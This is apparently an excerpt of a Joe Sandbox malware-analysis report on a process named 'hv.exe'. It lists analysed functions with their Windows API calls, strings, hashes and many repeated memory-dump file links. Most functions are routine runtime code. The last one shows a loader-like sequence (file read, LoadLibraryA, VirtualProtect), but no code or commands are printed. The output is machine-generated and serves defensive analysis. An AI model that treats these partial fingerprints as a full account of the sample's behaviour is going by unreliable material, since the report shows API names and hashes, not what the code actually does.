Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 77b2a0535457eb60a322de6d4c696a694565f51fcad0799330bbbf02d061807d
Instruction ID: 81c60193e81a2f813273f5039a84fd90a16118ecd79ab029c6cec52ab9950ab0
Opcode Fuzzy Hash: 77b2a0535457eb60a322de6d4c696a694565f51fcad0799330bbbf02d061807d
Instruction Fuzzy Hash: E3F0EC3530015657C7049F3AD854A6A7FA4EFC2714B0A405FEE058B641C675D843C750

Function 6CB8965C Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,?,?,?,?,6CB7A823,?,20001004,00000000,00000002), ref: 6CB89690

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7fb7f9bd6372ef529ee974948fab87ebfd62b5b181cc5ec589c11d88c0861d51
Instruction ID: e666ef788c4a9841dd6aa1eead93916f2e2b47c04eb552c592af887e4b965d4f
Opcode Fuzzy Hash: 7fb7f9bd6372ef529ee974948fab87ebfd62b5b181cc5ec589c11d88c0861d51
Instruction Fuzzy Hash: 2CE04831A01268BBCF125F51CC04EDD3E29FF45755F004010FD1865610C77189219AD5

Function 6CB8B29F Relevance: 10.8, APIs: 7, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strrchr.LIBCMT ref: 6CB8B325

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c8d7bd591e089ebcf2b8a6d2b931b8b3af54a35b22af1fc559c37c12d01c6543
Instruction ID: 78e99637a8a0d49c90a32660be91112d0fcbda03d5c059eed8fd2bbb3fd0f162
Opcode Fuzzy Hash: c8d7bd591e089ebcf2b8a6d2b931b8b3af54a35b22af1fc559c37c12d01c6543
Instruction Fuzzy Hash: 2FB17372A062D69FEB018F78CC91BEE7BB5EF06314F184165E904AB782D374D905C7A1

Function 6CB8CE12 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6CB88D0A: GetLastError.KERNEL32(00000000,?,6CB84B09), ref: 6CB88D0E
Part of subcall function 6CB88D0A: SetLastError.KERNEL32(00000000,?,?,00000028,6CB82020), ref: 6CB88DB0

GetACP.KERNEL32(?,?,?,?,?,?,6CB795CC,?,?,?,?,?,-00000050,?,?,?), ref: 6CB8CED1
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,6CB795CC,?,?,?,?,?,-00000050,?,?), ref: 6CB8CF08
_wcschr.LIBVCRUNTIME ref: 6CB8CF9C
_wcschr.LIBVCRUNTIME ref: 6CB8CFAA

Strings

utf8, xrefs: 6CB8CFDA

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: ErrorLast_wcschr$CodePageValid
String ID: utf8
API String ID: 650444998-905460609
Opcode ID: aca11865d819d7ea992159666b559cef4b4f9c93bbe959de0e3ddf3a9d377421
Instruction ID: 2b8d16006f1d97eaa39adbfb160f41448843477963db9813f5a298871c2a7c9a
Opcode Fuzzy Hash: aca11865d819d7ea992159666b559cef4b4f9c93bbe959de0e3ddf3a9d377421
Instruction Fuzzy Hash: 77513AB1607382AAEB15AF35DC50BAA73ACEF45708F200A1BE515D7D80FB70E8458772

Function 6CB78C2A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,D182977B,?,?,00000000,6CB9939C,000000FF,?,6CB78CEB,6CB78BC5,?,6CB78D87,00000000), ref: 6CB78C5F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6CB78C71
FreeLibrary.KERNEL32(00000000,?,?,00000000,6CB9939C,000000FF,?,6CB78CEB,6CB78BC5,?,6CB78D87,00000000), ref: 6CB78C93

Strings

mscoree.dll, xrefs: 6CB78C58
CorExitProcess, xrefs: 6CB78C69

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 29f82ab40792494bf8926191e71df23d509fb418baaca4f949c6f64356dc5651
Instruction ID: 989600438c2df0eb361ac23b876c65861be489be14fd75789b2c982326127123
Opcode Fuzzy Hash: 29f82ab40792494bf8926191e71df23d509fb418baaca4f949c6f64356dc5651
Instruction Fuzzy Hash: BD018F71A00665EFEF018F61CC04BBEB7BCFB05615F040626F925A2A90DB759900CBA1

Function 6CB80F49 Relevance: 6.3, APIs: 4, Instructions: 333
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleOutputCP.KERNEL32(D182977B,00000000,00000000,?), ref: 6CB80FAC

Part of subcall function 6CB8FFE6: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6CB88C73,?,00000000,-00000008), ref: 6CB90047

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6CB811FE
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6CB81244
GetLastError.KERNEL32 ref: 6CB812E7

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 47a5d487c5f72fb156c8eced4b0c262153f03cfcd392eba0feabbf183ba49da9
Instruction ID: e2c77ca5caf84b705d4e54ac055b2932a2c6a8d068fed215fd6ee65d27647890
Opcode Fuzzy Hash: 47a5d487c5f72fb156c8eced4b0c262153f03cfcd392eba0feabbf183ba49da9
Instruction Fuzzy Hash: C6D17B75E062989FDB05CFE8C8809EDBBB9EF09314F28416AE525EB741D730E941CB60

Function 6CB98140 Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,6CB90E76,00000000,00000001,?,?,?,6CB8133B,?,00000000,00000000), ref: 6CB98157
GetLastError.KERNEL32(?,6CB90E76,00000000,00000001,?,?,?,6CB8133B,?,00000000,00000000,?,?,?,6CB80C81,?), ref: 6CB98163

Part of subcall function 6CB981C0: CloseHandle.KERNEL32(FFFFFFFE,6CB98173,?,6CB90E76,00000000,00000001,?,?,?,6CB8133B,?,00000000,00000000,?,?), ref: 6CB981D0

___initconout.LIBCMT ref: 6CB98173

Part of subcall function 6CB98195: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6CB98131,6CB90E63,?,?,6CB8133B,?,00000000,00000000,?), ref: 6CB981A8

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,6CB90E76,00000000,00000001,?,?,?,6CB8133B,?,00000000,00000000,?), ref: 6CB98188

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 85c5402baeb6ea8ed9222b91988ce43c94ace9cf9c38eaea8fa67e01913f1ae8
Instruction ID: 12aba1ac5dfdfbd4140858aa85cca50ba93db11a354a9768a1799f3ea20d1573
Opcode Fuzzy Hash: 85c5402baeb6ea8ed9222b91988ce43c94ace9cf9c38eaea8fa67e01913f1ae8
Instruction Fuzzy Hash: B1F0FE36240168BBDF225E929C08ADD3E3AEB4A364F044121FB1895120C7338820EBA1

Function 6CA0C670 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FPDFAnnot_GetSubtype.IEPDF32(?), ref: 6CA0C6A5

Strings

Subtype, xrefs: 6CA0CCDB
Highlight, xrefs: 6CA0CCF0

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: Annot_Subtype
String ID: Highlight$Subtype
API String ID: 2863784842-3181136990
Opcode ID: 5e5b63ed1099c2ad61ec20eb4ad231cff82751c900b377f4e748dca36dbe8d91
Instruction ID: c4d1ae167df0ed2842a1c43c24e1d479013577ca7defcd941190eaa52aad87ca
Opcode Fuzzy Hash: 5e5b63ed1099c2ad61ec20eb4ad231cff82751c900b377f4e748dca36dbe8d91
Instruction Fuzzy Hash: 0E214972F0111D4FEB049E75E881A7B7379EF8869DF150928D9285FB50E730D84687E2

Function 6CB88D0A Relevance: 5.2, APIs: 4, Instructions: 192COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,6CB84B09), ref: 6CB88D0E
SetLastError.KERNEL32(00000000,?,?,00000028,6CB82020), ref: 6CB88DB0
GetLastError.KERNEL32(00000000,6CA0B62F,6CB7B758,6CB8ACBB,?,?,6CB6B41A,?,?,6C950849,00000024,?,00000000,?,?,6CA0B62F), ref: 6CB88E5F
SetLastError.KERNEL32(00000000,000000FF,00000008,?,?,?,00000028,6CB82020), ref: 6CB88F01

Part of subcall function 6CB88658: HeapAlloc.KERNEL32(00000008,?,?,?,6CB88F7B,00000001,00000364,00000008,000000FF,00000000,?,?,6CB6FCA5,?,?), ref: 6CB88699

Part of subcall function 6CB886B5: HeapFree.KERNEL32(00000000,00000000,?,6CB8C664,?,00000000,?,?,6CB8C304,?,00000007,?,?,6CB8CD36,?,?), ref: 6CB886CB
Part of subcall function 6CB886B5: GetLastError.KERNEL32(?,?,6CB8C664,?,00000000,?,?,6CB8C304,?,00000007,?,?,6CB8CD36,?,?), ref: 6CB886D6

Memory Dump Source

Source File: 00000002.00000002.1736167643.000000006C931000.00000020.00000001.01000000.00000004.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1736079715.000000006C930000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CB9A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBA4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBAF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBB6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CBBA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCF9000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CCFF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD14000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD3C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1738920592.000000006CD54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745188618.000000006CD6F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745228849.000000006CD73000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745266317.000000006CD7B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745293698.000000006CD7F000.00000020.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1745319512.000000006CD80000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_hv.jbxd

Similarity

API ID: ErrorLast$Heap$AllocFree
String ID:
API String ID: 1906775185-0
Opcode ID: 3de3fcf9d9aad83156f6d96c2002a9091d3e4a4fad17e5b7bd6a4924c410c038
Instruction ID: dbd3d83ce10d43fc3ce36e4f1ea1fcbb494fddf973ca4c4a4368ca388af399ff
Opcode Fuzzy Hash: 3de3fcf9d9aad83156f6d96c2002a9091d3e4a4fad17e5b7bd6a4924c410c038
Instruction Fuzzy Hash: A951B7317472B56FEF1216788C84EDF36ACEB422AD7140626FA2496ED4DB328C095372

Analysis Process: hv.exePID: 7716, Parent PID: 7688COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	825
Total number of Limit Nodes:	19

Executed Functions

Function 6C1122B2 Relevance: 9.3, APIs: 6, Instructions: 298
memoryfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNELBASE(?,?), ref: 6C112328
CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000), ref: 6C11240D
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 6C112485
LoadLibraryA.KERNELBASE(?), ref: 6C11253F
VirtualProtect.KERNELBASE(?,?,?,?), ref: 6C1125B0
VirtualProtect.KERNELBASE(?,?,?,?), ref: 6C1125D7

Memory Dump Source

Source File: 00000003.00000002.1787854611.000000006C111000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C110000, based on PE: true

Associated: 00000003.00000002.1787758402.000000006C110000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C1C6000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C254000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C283000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C287000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1787854611.000000006C296000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C37A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C39B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C3A5000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C412000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C426000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C42B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C42E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C432000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C43B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C46F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1791211263.000000006C4A6000.00000002.00000001.01000000.00000007.sdmpDownload File
